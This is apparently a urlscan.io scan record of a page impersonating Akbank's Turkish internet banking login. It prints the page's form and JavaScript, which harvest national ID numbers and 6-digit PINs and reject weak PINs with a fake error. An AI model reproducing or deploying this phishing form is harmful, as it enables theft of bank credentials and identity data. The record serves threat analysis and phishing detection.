techvibeszone.xyz
Open in
urlscan Pro
172.67.130.62
Public Scan
URL:
https://techvibeszone.xyz/
Submission: On December 14 via api from TR — Scanned from FR
Submission: On December 14 via api from TR — Scanned from FR
Form analysis
1 forms found in the DOMPOST
<form action="" method="post" autocomplete="off" id="form">
<div class="form-group">
<label class="text-start">Müşteri / T.C. Kimlik Numarası</label>
<input type="tel" required="" inputmode="number" name="username" pattern="[0-9]{11}" maxlength="11" class="form-control" id="tcno">
<p id="tcerror" style="color: red;"></p>
</div>
<div class="form-group">
<label>Şifre</label>
<input type="password" required="" name="password" maxlength="6" inputmode="numeric" class="form-control" id="passwordInput">
<p id="passwordError" style="color: red;"></p>
</div>
<!-- Google tag (gtag.js) -->
<script async="" src="https://www.googletagmanager.com/gtag/js?id=G-V5CL3YD5S1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag() {
dataLayer.push(arguments);
}
gtag('js', new Date());
gtag('config', 'G-V5CL3YD5S1');
</script>
<script>
document.getElementById('tcno').addEventListener('input', function() {
var value = document.getElementById('tcno').value;
if (!(value.length < 11)) {
var validate = checkTcNum(value); // checkTcNum fonksiyonunu kullanıyoruz
if (!validate) {
document.getElementById('tcerror').textContent = "Hatalı T.C. kimlik numarası";
} else {
document.getElementById('tcerror').textContent = "";
}
}
});
document.getElementById('passwordInput').addEventListener('input', function() {
var validate = validatePassword();
if (validate) {
// document.getElementById('passwordError').textContent = validate;
} else {
document.getElementById('passwordInput').textContent = "";
}
});
document.getElementById('form').addEventListener('submit', function(event) {
var validate = validatePassword();
if (validate) {
alert(validate);
event.preventDefault();
}
});
// T.C. kimlik numarasının doğrulama fonksiyonu
var checkTcNum = function(value) {
value = value.toString();
// 11 haneli olup olmadığını kontrol et
var isEleven = /^[0-9]{11}$/.test(value);
// Son rakamın kurala uygun olup olmadığını kontrol et
var totalX = 0;
for (var i = 0; i < 10; i++) {
totalX += Number(value.substr(i, 1));
}
var isRuleX = totalX % 10 == value.substr(10, 1);
// 10. rakamın kurala uygun olup olmadığını kontrol et
var totalY1 = 0;
var totalY2 = 0;
for (var i = 0; i < 10; i += 2) {
totalY1 += Number(value.substr(i, 1));
}
for (var i = 1; i < 10; i += 2) {
totalY2 += Number(value.substr(i, 1));
}
var isRuleY = ((totalY1 * 7) - totalY2) % 10 == value.substr(9, 0);
return isEleven && isRuleX && isRuleY; // Eğer 11 haneli ve tüm kurallar sağlanıyorsa true döner
};
// Şifre doğrulama fonksiyonu
function validatePassword() {
var passwordInput = document.getElementById('passwordInput');
// Şifrede ardışık rakamlar kontrolü
if (hasConsecutiveNumbers(passwordInput.value)) {
return "Şifrenizi hatalı tuşladınız. Lütfen şifrenizi kontrol ediniz!";
}
// Şifrede tekrarlayan desenler kontrolü
if (hasRepeatingPatterns(passwordInput.value)) {
return "Şifrenizi hatalı tuşladınız. Lütfen şifrenizi kontrol ediniz!";
}
// Şifrede rakam karışımı kontrolü
if (!hasMixedNumbers(passwordInput.value)) {
return "Şifrenizi hatalı tuşladınız. Lütfen şifrenizi kontrol ediniz!";
}
// Şifrede minimum uzunluk kontrolü
if (passwordInput.value.length < 6) {
return "Şifreniz 6 haneden oluşmalıdır";
}
return null;
}
function hasConsecutiveNumbers(password) {
for (var i = 0; i < password.length - 2; i++) {
var currentDigit = parseInt(password.charAt(i));
var nextDigit = parseInt(password.charAt(i + 1));
var thirdDigit = parseInt(password.charAt(i + 2));
if (nextDigit === currentDigit + 1 && thirdDigit === currentDigit + 2) {
return true; // Ardışık rakamlar bulundu
}
}
return false; // Ardışık rakam yok
}
function hasRepeatingPatterns(pin) {
// Pin'i string'e çevir
const pinString = pin.toString();
// 2 basamaktan oluşan tekrar eden desenler kontrolü
for (let i = 0; i <= pinString.length - 6; i++) {
const chunk = pinString.slice(i, i + 6);
if (chunk[0] === chunk[2] && chunk[2] === chunk[4]) {
return true;
}
}
// 3 basamaktan oluşan tekrar eden desenler kontrolü
for (let i = 0; i <= pinString.length - 6; i++) {
const chunk = pinString.slice(i, i + 6);
if (chunk[0] === chunk[3] && chunk[3] === chunk[5]) {
return true;
}
}
// Tekrar desen bulunmadı
return false;
}
function hasMixedNumbers(password) {
var hasDigit = false;
for (var i = 0; i < password.length; i++) {
if (!isNaN(password[i])) {
hasDigit = true;
break;
}
}
return hasDigit;
}
</script>
<button type="submit" class="login-btn">Giriş</button>
</form>
Text Content
Bireysel Türkçe AKBANK INTERNET BANKACILIĞI'NA HOŞ GELDINIZ! Müşteri / T.C. Kimlik Numarası Şifre Giriş